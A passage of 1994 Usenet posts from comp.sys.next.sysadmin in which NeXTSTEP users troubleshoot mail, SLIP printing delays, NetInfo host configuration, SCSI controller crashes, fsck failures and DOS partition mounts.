250 nohost (ether)... 250 Deferred
My questions are:
1) Are the different messages here a result of using SMTP in the
first case and UUCP in the second?
2) Is there anything I can do to configure the UUCP host's sendmail
to either a) immediately bounce a message that is not in the host
table or nameserver; b) at very least use a more meaningful bounce
message?
--
Will Estes Internet: westes@netcom.com
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: mail problems
Date: 23 Feb 1994 18:33:09 GMT
Organization: Suite Software
Message-ID: <2kg7h5$rrm@bilbo.suite.com>
I have this recurring problem on my mail hub machine... Anyone seen
this before. Mail processes hogging the whole CPU forever (until I
kill them...)
USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND
root 340 31.1 1.6 1.62M 536K ? R 684:11 -AA00340
relay2.UU.NET: DAT
root 12624 30.6 1.4 1.62M 448K ? R 20hr -AA12624
brownvm.brown.edu:
root 18517 29.3 1.6 1.62M 520K ? R 397:34 -AA18517 frodo:
DATA (sendm
.
.
.
--
---------------------------------------------------------------------
----
-- Scot Shepherd -- Suite Software | Look TWICE! Motorcycles are
--
-- Email: shepherd@suite.com | everywhere!!!
--
-- Compu$erve: 72754,1105 | 82 Virago, 89 YZ250
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----
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help needed: workspace's " File Viewer" very long to appear
Date: 24 Feb 1994 02:56:31 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2kh50v$6nr@quartz.ucs.ualberta.ca>
References: <1994Feb17.114454.533@ediscope.fdn.org>
Check the Workspace ApplicationPaths
dwrite entry. If one of the paths on this has a LOT of apps in it, then
the workspace manager checks each one to see what extensions it know
about.
Vincent Borghi (vb@ediscope.fdn.org) wrote:
: Good morning|afternoon|etc, and apologies for my poor english,
: --- My configuration:
: I run *NS 2.2* on my standalone NeXTstation turbocolor.
: --- My problem:
: After the login, I have to wait as long as 50 secondes before the
: "File Viewer" of the Workspace appears.
: Just after the login, the dock appears normally, and my autostart apps
: start also normally (I can even execute commands in my terminal app),
: but the File Viewer makes me impatient.
: --- Notes:
: - This comportment occurs systematically every time I log in. It is new
: (in the old happy days, the file viewer went with no delay).
: - When I log in as another user (e.g. root), there is no problem, all is OK<.
: - The console displays no special message, only the normal
: "Workspace[120]: ...Ready" one.
: - No problem at boot time, only at login time.
: - I suspect (but I have no good reason for that) the various files
: of my $HOME/.NeXT directory to be possibly the origin of the problem
: (anyway, I have no documentation about this topic and I do not know the
: exact role of the files ".NeXTdefaults.*" and "*.wmd").
: - It seems this problem is not a FAQ.
: ---- So...
: What can cause the File Viewer to be long to appear?
: Thanks, et au revoir,
: --
: Vincent BORGHI (Freelance Technical Writer)
: 41, avenue de Savoie Phone: (+33) 76 97 58 78
: 38580 ALLEVARD Email: vb@ediscope.fdn.org
: FRANCE NeXT mail accepted
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: make_services not catching?
Date: 24 Feb 1994 03:04:52 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Distribution: world
Message-ID: <2kh5gk$6nr@quartz.ucs.ualberta.ca>
References: <2k57gjINN8gi@no-names.nerdc.ufl.edu>
Check write permission and ownership on ~/.NeXT and files in that
directory.
Charles D. Kincaid (statman@stat.ufl.edu) wrote:
: Hello,
: I noticed the other day that the services for HippoDraw and Stuart
: were not showing up. So I did a 'make_services' and they showed up fine.
: But I would then lose them again. I _think_ that I would lose them even
: in the same session. I can't find any information on this. Has anyone
: experienced this?
: --
: Sincerely,
: charles d. kincaid
: --------------------------------------------------------------------
: Dept. of Statistics 'Damn fine coffee...and hot, too!'
: Univ. of Florida Pres: G-ville NeXT Users Group
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: Re: SLIP and printing -- why does printing access netinfo over SLIP?
Message-ID: <1994Feb24.020140.18006@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
References: <2kgin7$onv@news.service.uci.edu>
Date: Thu, 24 Feb 1994 02:01:40 GMT
> In article <2kf78f$iur@nntp2.Stanford.EDU> avery@ccrma.Stanford.EDU (Avery
> Wang) writes:
> > It seems, also, that *any* access of netinfo sends inquiries over
> > the modem.
> > Does anyone know how to keep my machine from scanning for netinfo
> > over the modem?
I use Morningstar PPP, and added this line in my setup script:
route add <my ip number> <my ip number> 1
..which seems to have worked.
--
Nathan "USENET" Janette
PPP link from hilbert.csb.yale.edu
Please reply to: nathan@laplace.csb.yale.edu (NeXT)
Newsgroups: comp.sys.next.sysadmin
From: herby@donau.in-ulm.de (Herbert Dampel)
Subject: Re: PhotoCD on DEC (Toshiba) CD-ROM drives
Message-ID: <CLop5o.9I4@donau.in-ulm.de>
Sender: root@donau.in-ulm.de (Herbert Dampel)
Organization: Node Ulm Germany, IN.
References: <2kdf41$12q@GRAPEVINE.LCS.MIT.EDU>
Date: Wed, 23 Feb 1994 15:46:35 GMT
In article <2kdf41$12q@GRAPEVINE.LCS.MIT.EDU> mike@whammo.media.mit.edu
(Michael Hawley) writes:
> A bunch of our DEC PC's have DEC RRD44-AA CD-ROM drives
> (built by Toshiba). According to the specs, they are
[...]
> Ideas?
Try XAmode. ftp.informatik.uni-muenchen.de /pub/comp/platforms/next
Seems to be a FAT-Binary.
cu, herby
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From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and printing -- why does printing access netinfo over SLIP?
Date: 24 Feb 1994 05:23:35 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2khdkn$8bg@quartz.ucs.ualberta.ca>
References: <2kf78f$iur@nntp2.Stanford.EDU>
In article <2kf78f$iur@nntp2.Stanford.EDU> avery@ccrma.Stanford.EDU (Avery
Wang) writes:
> Hi,
> I am wondering if I can prevent my print server from accessing
> netinfo over SLIP. I have SLIP set up and can watch the activity
> I am the only machine on my netinfo network!!
> However, I do have nameservers loaded into my netinfo hosts list:
>
> sloth> nidump hosts /
> 127.0.0.1 localhost
> 255.255.255.255 broadcasthost
> 36.56.0.152 avallone
> 36.56.0.151 argus
> 36.173.0.1 ncs-gateway.stanford.edu gate
> 36.56.0.152 avallone.stanford.edu
> 36.56.0.151 argus.stanford.edu
I would suggest that you put your own machine (sloth) IP and name
in the netinfo database (doesn't look like it's there :-)
Additionally try putting the nameservers where they belong: in /etc/resolv.conf
along with your domainname.
I have no difficulty printing from any of my SLIP machines; there is no network
activity across the modem, and if the line is down, it doesn't try to bring
it up on a print job.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: jweiss@casbah.acns.nwu.edu (Jerry Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and printing -- why does printing access netinfo over SLIP?
Date: 23 Feb 1994 19:35:25 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2kgb5t$nrf@news.acns.nwu.edu>
References: <2kf78f$iur@nntp2.Stanford.EDU>
In article <2kf78f$iur@nntp2.Stanford.EDU>,
Avery Wang <avery@ccrma.Stanford.EDU> wrote:
>Hi,
>I am wondering if I can prevent my print server from accessing
>netinfo over SLIP. I have SLIP set up and can watch the activity
>by looking at the RD and SD LEDs. Whenever I want to print, I see
>that the netinfo sends and receives some data over the modem.
>This causes several seconds worth of delay before the print panel
>comes up. If the SLIP line is heavily loaded, i.e. when downloading
>something, the delay can be considerable. Also, if the network
>hangs up, a print request from a NeXT app will permanently wedge.
>
>I guess that netinfo is trying to scan the
>network for all printers.
>
>I am the only machine on my netinfo network!!
>However, I do have nameservers loaded into my netinfo hosts list:
>
>sloth> nidump hosts /
>127.0.0.1 localhost
>255.255.255.255 broadcasthost
>36.56.0.152 avallone
>36.56.0.151 argus
>36.173.0.1 ncs-gateway.stanford.edu gate
>36.56.0.152 avallone.stanford.edu
>36.56.0.151 argus.stanford.edu
>
>It seems, also, that *any* access of netinfo sends inquiries over
>the modem.
>Does anyone know how to keep my machine from scanning for netinfo
>over the modem?
I asked this question on the Net a few weeks ago w/o success.
I was using Transys PNI-1.6 Beta. I've been meaning to try 1.7 to
see if it solves the problem. I don't understand why on a private
printer the system needs to send inquiries over the net either.
--
Jerry S. Weiss
j-weiss@nwu.edu
Dept. Medicine, Northwestern Univ. Medical School, Chicago, Illinois
%SYSTEM-S-PHALOKTARG, Phasers Locked on Target, Ready to Fire
From: avery@ccrma.Stanford.EDU (Avery Wang)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and printing -- why does printing access netinfo over SLIP?
Date: 24 Feb 1994 09:07:44 GMT
Organization: Stanford University
Message-ID: <2khqp0$2k4@nntp2.Stanford.EDU>
References: <2kgb5t$nrf@news.acns.nwu.edu>
Thanks for the response.
However, doesn't 127.0.0.1 constitute "self"? I don't see why my own
machine name has to be in the netinfo database. Also, the internet
number is dynamically set when making a SLIP connection. Thus each
time I dial in I have a different number. So I probably shouldn't
set it explicitly in the netinfo hosts table.
Also, my /etc/resolv.conf already looks like:
/etc> m resolv.conf
nameserver 36.56.0.151
nameserver 36.21.0.20
nameserver 36.8.0.47
domain Stanford.EDU
/etc>
I tried deleting all the hosts from my hosts nidb so now it looks like
/etc> nidump hosts /
127.0.0.1 localhost
255.255.255.255 broadcasthost
/etc>
After rebooting, everything is still the same! I guess those host entries
weren't needed. Still, every netinfo access polls the modem.
any more clues/comments?
Thanks,
Avery Wang avery@ccrma.stanford.edu
CCRMA (Center for Computer Research in Music and Acoustics)
660 Lomita Dr. Fax: +1 (415) 723-8468
Stanford, CA 94305 Tel: +1 (415) 364-5002
In comp.sys.next.sysadmin article <2khdkn$8bg@quartz.ucs.ualberta.ca> you
wrote:
> In article <2kf78f$iur@nntp2.Stanford.EDU> avery@ccrma.Stanford.EDU (Avery
> Wang) writes:
> > Hi,
> > I am wondering if I can prevent my print server from accessing
> > netinfo over SLIP. I have SLIP set up and can watch the activity
> > I am the only machine on my netinfo network!!
> > However, I do have nameservers loaded into my netinfo hosts list:
> >
> > sloth> nidump hosts /
> > 127.0.0.1 localhost
> > 255.255.255.255 broadcasthost
> > 36.56.0.152 avallone
> > 36.56.0.151 argus
> > 36.173.0.1 ncs-gateway.stanford.edu gate
> > 36.56.0.152 avallone.stanford.edu
> > 36.56.0.151 argus.stanford.edu
>
> I would suggest that you put your own machine (sloth) IP and name
> in the netinfo database (doesn't look like it's there :-)
>
> Additionally try putting the nameservers where they belong: in
/etc/resolv.conf
> along with your domainname.
>
> I have no difficulty printing from any of my SLIP machines; there is no
network
> activity across the modem, and if the line is down, it doesn't try to bring
> it up on a print job.
> --
> James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
> Computing/Networking Phone : (403) 492-8226
> Department of Physics email : jmack@phys.ualberta.ca
> University of Alberta uucp : uofaphys!jmack iskye!jmack
> Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
--
Avery Wang avery@ccrma.stanford.edu
CCRMA (Center for Computer Research in Music and Acoustics)
660 Lomita Dr. Fax: +1 (415) 723-8468
Stanford, CA 94305 Tel: +1 (415) 364-5002
From: rainer@wifzack.fml.tuwien.ac.at (Rainer Staringer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: EATA timeout?
Date: 24 Feb 1994 10:19:24 GMT
Organization: Vienna University of Economics and Business Administration
Distribution: world
Message-ID: <2khuvc$fgp@osiris.wu-wien.ac.at>
References: <next2.762032406@info2.rus.uni-stuttgart.de>
In article <next2.762032406@info2.rus.uni-stuttgart.de>
next2@info2.rus.uni-stuttgart.de (Markus Wenzel) writes:
> mow@marsu.tynet.sub.org (Markus Wenzel) writes:
>
> >I got a forwarded mail from a Dell employee who states that we all
need
> >BIOS/Firmware updates to the most recent version (don't know which
rev.#)
> >from DPT. This is said to fix the problem.
>
> I have to correct myself. I really have the most recent version, 2C.
> Maybe this is a bug which did not occur in previous versions as 2A9
or 2B.
I think there are two revision numbers, one for the BIOS (2C) and one
for the DPT firmware (SmartROM) which is 5C, I think. (Have to note
it down when I reboot the next time). I think Mr Price meant the
latter.
> Could all guys with 2022 adapters and frequent crashes due to SCSI
timeouts
>
> - post their complete configuration here (DPT BIOS rev., SCSI
devices
> attached to
> - post their MTBC (mean time between crash :-)
I have a DEC MTE (66MHz, EISA, VLB) with 32MB RAM,
DPT 2022, BIOS rev. 2C, SmartROM rev. 5C (I think),
DEC RZ26B 1GB drive.
I get the timeouts on every third or second reboot (before the
'Checking disks' message). Sometimes I get timeouts when I login
(lots of disk activity because of the autolaunched apps) or when
I start up a new app or open a terminal window. That happens
about twice a week.
Rainer
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From: pom@katrin.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening)
Newsgroups: comp.sys.next.sysadmin
Subject: SUMMARY: How to make a client a clone server ?
Date: 24 Feb 1994 11:07:28 GMT
Organization: Johannes Gutenberg-Universitaet Mainz, Germany
Message-ID: <2ki1pg$rai@bambi.zdv.Uni-Mainz.DE>
Some time ago I asked in article <2jfhlm$5vc@bambi.zdv.Uni-Mainz.DE>:
: I have a net of 4 NeXTs (black, running Nextstep 3.0, soon 3.1 or 3.2).
: One of them is a netinfo server, the other 3 are clients. I would like
to
: have a clone server. Is there a way to achieve this without
reconfiguring
: the system from scratch?
I got one answer from Sherwood Botsford <sherwood@space.ualberta.ca>:
> It's easy. On one of the clients start up NetManager.
> Click local. check off NetInfo server
> It will ask you if you really want to do this, say yes.
> Reboot.
>
> In essence it's the same step you take to set up a master
> server. But since there is already a master server,
> your's becomes a copy of it, instead of being the master
> itself.
>
That's the way it worked for NeXTSTEP 2. But in NS 3 there is no
NetManager, the Local panel migrated to HostManager and has no check box
for NetInfo Server.
In the meanwhile I found a section 'Creating Clone Servers' well hidden in
NeXT System Administration, 10 Configuring a Large Network,
Building the Hierarchy
I tried that. It works (it seems to work up to now).
--
Klaus Pommerening
Institut fuer Medizinische Statistik und Dokumentation
der Johannes-Gutenberg-Universitaet
D-55101 Mainz, Germany
Newsgroups: comp.sys.next.sysadmin
From: fairfield@slacvx.slac.stanford.edu
Subject: Summary: fsck: cannot execute
Message-ID: <1994Feb24.021322.1@slacvx.slac.stanford.edu>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
References: <CLn41B.GD6@unixhub.SLAC.Stanford.EDU> <2kfe1t$1bm@marsu.tynet.sub.org>
Date: Thu, 24 Feb 1994 10:13:22 GMT
In article <2kfe1t$1bm@marsu.tynet.sub.org>, mow@marsu.tynet.sub.org (Markus Wenzel) writes:
> Paul_Kunz@slac.stanford.edu (Paul Kunz) writes:
>
>> I have a problem with i486 no-name clone (Tangant). It fails to boot
>>because it can't run fsck. Even booting single user mode, I can't run fsck
>>or a lot of other commands. I get
>>
>> fsck: cannot execute
>
>>Commands that do work are cd and ls, even with options. But fsck, du, df,
>>stty, tset, etc wouldn't execute.
>
> You have to specify the complete path to fsck when you are in single user
> mode, i.e. /usr/etc/fsck /dev/rsd?a
Thanks to Markus and the others who offered up reasonable
suggestions, however...
The real problem was that /usr/shlib was "hosed" so that any
commands that require the shared libraries, including fsck, wouldn't
execute.
The fix was to boot single-user off the CDROM, fsck the target
disk (which was how we found that shlib was corrupted), let fsck
"fix" everything it wanted, then copy /usr/shlib/* from the CDROM to
the target disk. After that the system booted normally.
-Ken
--
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SLAC, P.O.Box 4349, MS 98 | DECnet: 45537::FAIRFIELD (45537=SLACVX)
Stanford, CA 94309 | Voice: (415) 926-2924 FAX: (415) 926-4335
----------------------------------------------------------------------------
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Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: PhotoCD on DEC (Toshiba) CD-ROM drives
Message-ID: <CLqC83.wo@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <CLop5o.9I4@donau.in-ulm.de>
Date: Thu, 24 Feb 1994 13:02:26 GMT
In article <CLop5o.9I4@donau.in-ulm.de> herby@donau.in-ulm.de (Herbert
Dampel) writes:
> In article <2kdf41$12q@GRAPEVINE.LCS.MIT.EDU> mike@whammo.media.mit.edu
> (Michael Hawley) writes:
> > A bunch of our DEC PC's have DEC RRD44-AA CD-ROM drives
> > (built by Toshiba). According to the specs, they are
> [...]
> > Ideas?
>
> Try XAmode. ftp.informatik.uni-muenchen.de /pub/comp/platforms/next
> Seems to be a FAT-Binary.
>
Yes, it is FAT (somebody else posted it and marked it not to be, but it
is). I just checked the sources, and yes, it should work on the newer
TOSHIBA CD-Roms 3301, 3401 and 4401. I currently use it on black and white
hardware with 3301 and 3401 drives. I did not check the new 4401, but
since it is supposed to be compatible, it should work, too.
Gerd
Newsgroups: comp.sys.next.sysadmin
From: ericb@il.us.swissbank.com (Eric_Brown)
Subject: Re: really fatal NS 3.2 Intel crashes
Message-ID: <1994Feb24.153125.13301@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <2kgg0u$hb6@marsupial.jpl.nasa.gov>
Date: Thu, 24 Feb 1994 15:31:25 GMT
John B. Hampshire II writes:
> I have two Intel machines: they are both
> 486DX266's with 32 Mb Ram, DPT-2012 SCSI interfaces
> (one has a 4Mb cache, the other has a 1 Mb cache)
> ATI Ultra-Pro, and 1.5 Gb of disk (.5 Gig boot drive
> and 1 Gig data drive), etc., etc.
> Fortunately, I have a 2 Gb DAT tape drive as well.
<<<info about machines munging hard drive every couple of weeks>>>
When using the DPT SCSI controllers, make sure to set the write cache
to write-through instead of write-back (documented in NeXTanswers).
I had a problem similar to the one you described (although nowhere
near as frequent) that was attributed to the write-back cache. If
the controllers are already set for write-through, then I would
suspect some sort of conflict between the controller and the computer
or another card.
> Thanks in advance.
> John
--
_______________________________________________________________
/ Eric Brown | The opinions expressed here \
| NEXTSTEP Consultant | are mine and do not necessarily |
| CG Computer Services | represent those of my employer |
| ericb@il.us.swissbank.com | or SBC. |
\___________________________|___________________________________/
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From: tlm@ameslab.gov (Tom Marchioro)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and printing -- why does printing access netinfo over SLIP?
Date: 24 Feb 1994 17:19:48 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2kinjk$5uk@news.iastate.edu>
References: <2khqp0$2k4@nntp2.Stanford.EDU>
Avery Wang writes
[]Thanks for the response.
[]However, doesn't 127.0.0.1 constitute "self"? I don't see why my own
[]machine name has to be in the netinfo database. Also, the internet
[]number is dynamically set when making a SLIP connection. Thus each
[]time I dial in I have a different number. So I probably shouldn't
[]set it explicitly in the netinfo hosts table.
[]
[] Also, my /etc/resolv.conf already looks like:
[]/etc> m resolv.conf
[]nameserver 36.56.0.151
[]nameserver 36.21.0.20
[]nameserver 36.8.0.47
[]domain Stanford.EDU
[]
[]/etc>
[]
[]I tried deleting all the hosts from my hosts nidb so now it looks like
[]/etc> nidump hosts /
[]127.0.0.1 localhost
[]255.255.255.255 broadcasthost
[]/etc>
[]
[]After rebooting, everything is still the same! I guess those host
entries
[]weren't needed. Still, every netinfo access polls the modem.
[]
[]any more clues/comments?
[]
I still think part of the problem may be that you do not have your own
machine's name in the NetInfo Dbase. If you've given your machine a name
(and it sounds like you have) you need a way to tell the machine that's who
it is. One way is to alias "localhost" to the machine name. That will
allow rendering to work, telnet to yourself to work, etc. but some things
will still be off, such as having "localhost" appear at several places in
the mail headers. I had this configuration for some time and never had any
problems with printing & SLIP. I finally had to get things RIGHT when I
got another machine and did a similar set-up. Turned out the two machines
could not mail to each other because each thought IT was localhost and it
gave a "loopback error" when they talked to each other. Thanks to some
kind net people here is what I ended up with in the NetInfoDataBase
127.0.0.1 localhost
255.255.255.255 broadcasthost
<lots of other entries>
192.42.172.1 feynman
Note that the entry for my machine, Feynman, is the NeXT default. THAT IS
WHAT YOU WANT FOR SLIP!! whether you have a static or dynamic IP #
assigned. As Louis stresses in his documentation, trying to configure the
machine as if it was really on the Net will only get you in trouble.
Configure it as above (use the same IP #) and then get the routing of
packets right as per the SLIP documentation and I'm **guessing** the
problem will go away (just guessing because I have never encountered this
problem in my 18 months of using SLIP).
Hope this helps --- Tom
--
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Center for Physical and
Computational Mathematics 515-294-5543
Ames Laboratory 515-233-1216 (home)
Ames, Iowa 50011 tlm@iastate.edu
From: flikkema@sunburn.ec.usf.edu. (Paul Flikkema (EE))
Newsgroups: comp.sys.next.sysadmin
Subject: HELP NEEDED: sick disk? (REPOST)
Date: 21 Feb 1994 14:05:37 GMT
Organization: Univ. of South Florida, College of Engineering
Distribution: world
Message-ID: <2kaf3h$8ma@suntan.eng.usf.edu>
Hello,
My 25Mhz/400MB NextStation at home seems to have acquired an illness.
When I turned it on last night, in the midst of the boot, it told me
it couldn't find a network, and asked me to hit a 'c' to go on. I
complied. (Note: it's always been stand-alone, and I've never seen
this message before.)
So I did an fsck, let it fix one UNREF file and one BLK(S) MISSING
IN BIT MAPS (caps are fsck's) and rebooted as fsk requested. This
time no comment about network, but another fsck showed the same
problems. In fact, repeated fsck's and reboots (w/ and w/o sync)
showed the same problem. It looks like there is a problem that fsck
can find, but not fix. Any help/info/advice would be greatly
appreciated--I'm worried about doing any work until this is resolved.
Thanks,
Paul Flikkema
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Electrical Engineering <> University of South Florida <> Tampa, FL 33620 USA
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From: avery@ccrma.Stanford.EDU (Avery Wang)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and printing -- why does printing access netinfo over SLIP?
Date: 24 Feb 1994 18:59:15 GMT
Organization: Stanford University
Distribution: world
Message-ID: <2kite3$6a6@nntp2.Stanford.EDU>
References: <2kinjk$5uk@news.iastate.edu>
Hi all,
thanks guys for all the help!!
The confusing part is having SIMULTANEOUSLY a local "default" IP
address as well as a SLIP IP address that talks to the rest of
the world. I followed all your advice and added the next-default
address 192.42.172.1 to my /etc/hosts file, which now looks like:
/Users/avery> cat /etc/hosts
127.0.0.1 localhost
255.255.255.255 broadcasthost
192.42.172.1 sloth <------new entry
and did niload hosts / < /etc/hosts. I also changed the entry in
the Local... panel, Internet Address field of HostManager.app to
match with 192.42.172.1, instead of leaving it as -NO-. Maybe what
I did was redunant.
Here is my /etc/hostconfig file now, as a result:
#
# /etc/hostconfig
#
# This file sets up shell variables used by the various rc scripts to
# configure the host. Edit this file instead of rc.boot.
#
# Warning: This is sourced by /bin/sh. Make sure there are no spaces
# on either side of the "=".
#
# There are some special keywords used by rc.boot and the programs it
# calls:
#
# -AUTOMATIC- Configure automatically
# -YES- Turn a feature on
# -NO- Leave a feature off or do not configure
#
HOSTNAME=sloth
INETADDR=192.42.172.1
ROUTER=-NO-
IPNETMASK=
IPBROADCAST=-AUTOMATIC-
NETMASTER=-NO-
YPDOMAIN=-NO-
TIME=-NO-
For routing, I'm using BIND with my /etc/resolv.conf as
/Users/avery> cat /etc/resolv.conf
nameserver 36.56.0.151
nameserver 36.21.0.20
nameserver 36.8.0.47
domain Stanford.EDU
Now everything works great. No delay with printing, all netinfo inquiries are
fast now, and I can even telnet to myself (which I hadn't known I could not
do!).
Many thanks for your suggestions and clarifications!
---
Avery Wang avery@ccrma.stanford.edu
CCRMA (Center for Computer Research in Music and Acoustics)
660 Lomita Dr. Fax: +1 (415) 723-8468
Stanford, CA 94305 Tel: +1 (415) 364-5002
> I still think part of the problem may be that you do not have your own
> machine's name in the NetInfo Dbase. If you've given your machine a name
> (and it sounds like you have) you need a way to tell the machine that's who
> it is. One way is to alias "localhost" to the machine name. That will
> allow rendering to work, telnet to yourself to work, etc. but some things
> will still be off, such as having "localhost" appear at several places in
> the mail headers. I had this configuration for some time and never had any
> problems with printing & SLIP. I finally had to get things RIGHT when I
> got another machine and did a similar set-up. Turned out the two machines
> could not mail to each other because each thought IT was localhost and it
> gave a "loopback error" when they talked to each other. Thanks to some
> kind net people here is what I ended up with in the NetInfoDataBase
>
> 127.0.0.1 localhost
> 255.255.255.255 broadcasthost
> <lots of other entries>
> 192.42.172.1 feynman
>
>
> Note that the entry for my machine, Feynman, is the NeXT default. THAT IS
> WHAT YOU WANT FOR SLIP!! whether you have a static or dynamic IP #
> assigned. As Louis stresses in his documentation, trying to configure the
> machine as if it was really on the Net will only get you in trouble.
> Configure it as above (use the same IP #) and then get the routing of
> packets right as per the SLIP documentation and I'm **guessing** the
> problem will go away (just guessing because I have never encountered this
> problem in my 18 months of using SLIP).
>
> Hope this helps --- Tom
>
>
> --
> Dr. Thomas L. Marchioro II Two-wheeled theoretical physicist
> Center for Physical and
> Computational Mathematics 515-294-5543
> Ames Laboratory 515-233-1216 (home)
> Ames, Iowa 50011 tlm@iastate.edu
>
From: 0005508785@mcimail.com (ErgoTech Development, Inc.)
Newsgroups: comp.sys.next.sysadmin
Subject: RE: really fatal NS 3.2 Intel crashes
Date: 24 Feb 1994 14:21:21 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <05940224170750/0005508785NA1EM@mcimail.com>
John B. Hampshire II writes:
>I have two Intel machines: they are both
>486DX266's with 32 Mb Ram, DPT-2012 SCSI interfaces
>(one has a 4Mb cache, the other has a 1 Mb cache)
>ATI Ultra-Pro, and 1.5 Gb of disk (.5 Gig boot drive
>and 1 Gig data drive), etc., etc.
>...
>every couple of days, each will lock up, requiring
>hard reboot and multiple fsck's to clean up dirty
>disks; every two weeks or soquiring
>long rebuilds of the OS and subsequent re-loading of
>data from tape.
I'm glad this dicussion started this looks like a real Next driver bug. And a
pretty serious one at that.
I have a DPT-2012 w/ 4.5MB cache. I think that a number of problems with these
have arisen since 3.2. I seem to be having more crashes that cause file losses
than with 3.1. In fact I can't remember a single incident with 3.1. I don't
have a tape backup, does anyone have a script for restoring NeXT's files from
the CD, leaving the modified ones untouched? I'm not wild about doing a
re-install since I'll have to re-license some software. Upgrade.app crashed
badly when I ran it on a 3.2 disk. (Maybe someone can help me with some
problems that it caused, when I can nail them down?)
On the plus side the DPT controller is great when it's running. I ran the
system for a while with the old adaptec, and cursed on every disk access.
>which prompted NeXT to suggest that I disable the
>SCSI caches in order to prevent file inconsistencies caused
A good thing to check, but _not_ a solution.
Jim Redman
From: Cormac Liam Kinney <ck2w+@andrew.cmu.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Help! Boot CDROM
Date: Thu, 24 Feb 1994 15:06:44 -0500
Organization: Masters student, Industrial Administration, Carnegie Mellon, Pittsburgh, PA
Message-ID: <chPEXIe00UhBQ3q94X@andrew.cmu.edu>
Hello,
I need to boot NS 3.0 CD from a SCSI2 Sun (Sony) CD ROM, and haven't
been able to get anything to work.
Hard drive (Seagate ST1410 400MB) spins up, clicks, and spins down.
Does anybody know anything about this?
Any suggestions are appreciated.
cormac
Newsgroups: comp.sys.next.sysadmin
From: dean@rdcalr.realdec.com (Dean Banfield)
Subject: Login TIFF installation?
Organization: Real Decisions Corporation
Date: Thu, 24 Feb 1994 20:53:16 GMT
Message-ID: <CLqy0s.FEo@rdcalr.realdec.com>
Hi,
Downloaded a TIFF from cs.orst with my friends Calvin and Hobbes. Problem
with the TIFF is that it is a complete login window. Under the 3.1
Login.app it appears that login TIFFs are built from a bunch of components.
Any way to use the integrated TIFF with the full image on my FIP3.1 system?
TIA.
-Dean
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From: fairfield@slacvx.slac.stanford.edu
Subject: NS 3.2 Intel: How to control DOS partition mounts at boot?
Message-ID: <1994Feb24.140700.1@slacvx.slac.stanford.edu>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
Date: Thu, 24 Feb 1994 22:07:00 GMT
I have what seems (to me) to be a relatively simple request, but
being new to NeXTStep (and unix in general), I haven't found a
solution yet (nor a local guru with a solution :-).
We've got a Tangent 486DX-50, NS/I 3.2, with a 1GB and a 500MB
disk on the SCSI (DPT adapter I think...). This PC _had_ been
running messy-dos, so the 500MB Seagate is formatted with a single
primary DOS partition (shows up as /dev/rsd1h). The 1GB is
formatted with an 800MB Next partition (/dev/sd0a) and a 200MB DOS
partition (/dev/rsd0h). This allows the primary user (my boss!), to
boot either NS or DOS.
The problem: I'd like to mount the two DOS partitions RO (under
some circumstances) so that they don't get corrupted by writes from
NS. (NS 3.2 has a documented bug of not properly handling DOS
partitions larger than 64 MB.) Under other circumstances, I'd like
to _not_ mount the DOS partitions at all. Presently, both DOS
partitions are auto-mounted at boot.
Now I know that as root I can umount the disks. I can also
mount them "-o ro", etc. What I'd _like_, in the first case, is to
do the "mount -o ro" at boot time. Is it safe to add the mount
command parameters for the DOS partitions to /etc/fstab? [Note: I
_know_ the man page says that the mount "options" are ignored for
DOS type disks, but at least it appears the the Workspace Manager
fakes it by announcing the the "disk is full", and mtab _does_ show
them to be "ro".] If not, where would I put the mount commands?
Similarly, if the DOS partitions are _not_ to be mounted, what
is the appropriate file in which to place the umount commands?
The primary user is _not_ going to have root privilege, so I
need to get the disk mount's or umount's done at boot time, not
later (I don't want him calling me every time he reboots his PC!).
Thanks, Ken
--
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From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II)
Newsgroups: comp.sys.next.sysadmin
Subject: update on really fatal NS 3.2 Intel crashes: (DPT-2022 SCSI)
